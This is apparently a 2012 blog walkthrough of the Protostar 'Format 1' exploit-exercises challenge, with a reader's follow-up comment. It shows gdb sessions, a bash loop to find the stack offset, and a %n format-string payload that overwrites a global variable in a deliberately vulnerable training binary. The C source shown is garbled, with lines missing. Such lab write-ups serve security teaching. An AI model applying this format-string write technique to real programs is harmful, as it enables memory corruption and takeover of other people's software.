Saturday, December 22, 2012

exploit-exercises Protostar: Format 1

This time, in Format 1 challenge of Protostar wargame, we are provided with the following source code of the vulnerable program.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;

void vuln(char *string)

if(target) {
printf("you have modified the target :)\n");

int main(int argc, char **argv)
First, we try to find at what parameter position we start reading our own input. We are told "your input string lies far up the stack :)"
user@protostar:/opt/protostar/bin$ gdb -q ./format1
Reading symbols from /opt/protostar/bin/format1...done.
(gdb) run "AAAA.%x.%x.%x.%x.%x.%x.%x.%x"
Starting program: /opt/protostar/bin/format1 "AAAA.%x.%x.%x.%x.%x.%x.%x.%x"
Program exited normally.
(gdb) run "AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x"
Starting program: /opt/protostar/bin/format1 "AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x"
Program exited normally.
Instead of a huge number of "%x", we can leverage the direct parameter access feature and use only format output.
We will brute-force the position of our parameter with a simple bash script.
user@protostar:/opt/protostar/bin$ for i in {1..200}; do echo -n "$i ";
./format1 "AAAABB%$i\$x" | grep 4141; if (( $? == 0 )); then break; fi ; echo
""; done;

130 AAAABB41414141
We start reading our input at position 130.
user@protostar:/opt/protostar/bin$ ./format1 "AAAABB%130\$x"
We can also tell our program to write at a provided address by using "%n"
user@protostar:/opt/protostar/bin$ ./format1 `python -c 'print "AAAABB%130\$n"'`
Segmentation fault (core dumped)

user@protostar:/opt/protostar/bin$ gdb -q ./format1 /tmp/core.11.format1.12342
Reading symbols from /opt/protostar/bin/format1...done.

Program terminated with signal 11, Segmentation fault.
#0  0xb7ed7aa9 in _IO_vfprintf_internal (s=0xb7fd84c0, format=Cannot access memory at address 0x4
) at vfprintf.c:1950
1950    vfprintf.c: No such file or directory.
        in vfprintf.c
(gdb) x/5i $eip
0xb7ed7aa9 <_IO_vfprintf_internal+16361>:       mov    %edx,(%eax)
0xb7ed7aab <_IO_vfprintf_internal+16363>:       jmp    0xb7ed4290 <_IO_vfprintf_internal+2000>
0xb7ed7ab0 <_IO_vfprintf_internal+16368>:       cmpl   $0x0,-0x528(%ebp)
0xb7ed7ab7 <_IO_vfprintf_internal+16375>:       je     0xb7ed7fa3 <_IO_vfprintf_internal+17635>
0xb7ed7abd <_IO_vfprintf_internal+16381>:       mov    -0x4b4(%ebp),%edi
(gdb) i r eax
eax            0x41414141       1094795585
Now, time to overwrite our target. As the variable is an unitialized global, it
will be stored in .bss section.  We use -t option of objdump to output the
symbol table.
user@protostar:/opt/protostar/bin$ objdump -t ./format1 | grep target
08049638 g     O .bss   00000004              target
With all the necessary information in our hands, crafting the exploit is easy.
user@protostar:/opt/protostar/bin$ ./format1 `python -c 'print "\x38\x96\x04\x08BB%130\$n"'`
8�BByou have modified the target :)
One last point, in this challenge, the condition is "if (target)" as global
unitialized variables are set to 0. What the "%n" parameter writes in target
variable isn't that much important. It is left for the next challenge.

1 comment:

  1. Hello:

    I know this exercise is old and maybe my format1 executable is newer than the one you hacked (mine is from Nov 24th 2011), but I can't align the bits.

    When doing:

    ./format1 ABCDEFGH`perl -e 'print "%x."x200'`

    I got:

    43424100 = CBA0
    47464544 = GFED
    2e782548 = .x%H

    which means the bits aren't aligned. Using the 130 sled don't work:

    ./format1 ABCDEFGH`perl -e 'print "%x."x130'`

    41003174 = A01t
    45444342 = EDCB
    25484746 = %HGF

    If I'm not wrong, the goal is to have the target function memory address at the end of the string, so I shorted the sled to 128:

    ./format1 `perl -e 'print "ABCDEFGH" . "%x."x128'`


    If I cut another position in the sled:

    ./format1 `perl -e 'print "ABCDEFGH" . "%x."x127'`

    317461 = 1t`
    44434241 = DCBA
    48474645 = HGFE

    So that means I need to replace HGFE with \x38\x96\x04\x08, but when I do:

    ./format1 `perl -e 'print "ABCD\x38\x96\x04\x08" . "%x."x127'`%x

    I got:


    Not what I was looking for.

    How can I aling those bits?